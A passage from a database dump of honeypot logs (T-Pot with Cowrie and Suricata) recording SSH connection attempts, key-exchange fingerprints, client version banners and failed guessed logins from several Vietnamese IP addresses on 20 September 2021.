"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53492, "dest_port": 22, "timestamp": "2021-09-20T11:08:37.980775", "@timestamp": "2021-09-20T11:08:37.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24116	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:37.42659+03	2021-09-20 14:15:08.367471+03	{"_id": "bwbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59102 (192.168.176.2:22) [session: 0251c10df38a]", "session": "0251c10df38a", "@version": "1", "protocol": "ssh", "src_port": 59102, "dest_port": 22, "timestamp": "2021-09-20T11:08:37.426590Z", "@timestamp": "2021-09-20T11:08:37.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24117	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:37.704377+03	2021-09-20 14:15:08.368471+03	{"_id": "cAbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53492 (192.168.176.2:22) [session: 12164025bdb3]", "session": "12164025bdb3", "@version": "1", "protocol": "ssh", "src_port": 53492, "dest_port": 22, "timestamp": "2021-09-20T11:08:37.704377Z", "@timestamp": "2021-09-20T11:08:37.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24118	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:37.390028+03	2021-09-20 14:15:08.36947+03	{"_id": "eQbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "14cf92425486", "@version": "1", "timestamp": "2021-09-20T11:08:37.390028Z", "@timestamp": "2021-09-20T11:08:37.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24119	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:37.429514+03	2021-09-20 14:15:08.37147+03	{"_id": "egbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0251c10df38a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:37.429514Z", "@timestamp": "2021-09-20T11:08:37.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24120	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:37.460755+03	2021-09-20 14:15:08.372471+03	{"_id": "ewbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "67d82fe64cf4", "@version": "1", "duration": 2.542635440826416, "timestamp": "2021-09-20T11:08:37.460755Z", "@timestamp": "2021-09-20T11:08:37.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24121	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:37.625286+03	2021-09-20 14:15:08.373471+03	{"_id": "fAbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8ca4a3849b69", "@version": "1", "duration": 2.626615047454834, "timestamp": "2021-09-20T11:08:37.625286Z", "@timestamp": "2021-09-20T11:08:37.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24122	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:37.707483+03	2021-09-20 14:15:08.374472+03	{"_id": "fQbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "12164025bdb3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:37.707483Z", "@timestamp": "2021-09-20T11:08:37.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24134	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:29.974152+03	2021-09-20 14:15:08.390502+03	{"_id": "bAbkAnwBvYTbRNuEoBEN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 829785193176028, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38000, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.974152Z", "@timestamp": "2021-09-20T11:08:29.974Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24123	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:37.709522+03	2021-09-20 14:15:08.37551+03	{"_id": "fgbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0251c10df38a", "@version": "1", "timestamp": "2021-09-20T11:08:37.709522Z", "@timestamp": "2021-09-20T11:08:37.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24124	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:37.799226+03	2021-09-20 14:15:08.377471+03	{"_id": "fwbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [image/image] failed", "session": "9ee13bf513d6", "@version": "1", "password": "image", "username": "image", "timestamp": "2021-09-20T11:08:37.799226Z", "@timestamp": "2021-09-20T11:08:37.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24125	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:37.844097+03	2021-09-20 14:15:08.378503+03	{"_id": "gAbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [omega/omega] failed", "session": "006024714010", "@version": "1", "password": "omega", "username": "omega", "timestamp": "2021-09-20T11:08:37.844097Z", "@timestamp": "2021-09-20T11:08:37.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24126	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:37.981467+03	2021-09-20 14:15:08.3805+03	{"_id": "gQbkAnwBvYTbRNuEwBLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "12164025bdb3", "@version": "1", "timestamp": "2021-09-20T11:08:37.981467Z", "@timestamp": "2021-09-20T11:08:37.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24127	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:38.922591+03	2021-09-20 14:15:08.38147+03	{"_id": "ggbkAnwBvYTbRNuEwxI7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1165078258165040, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", 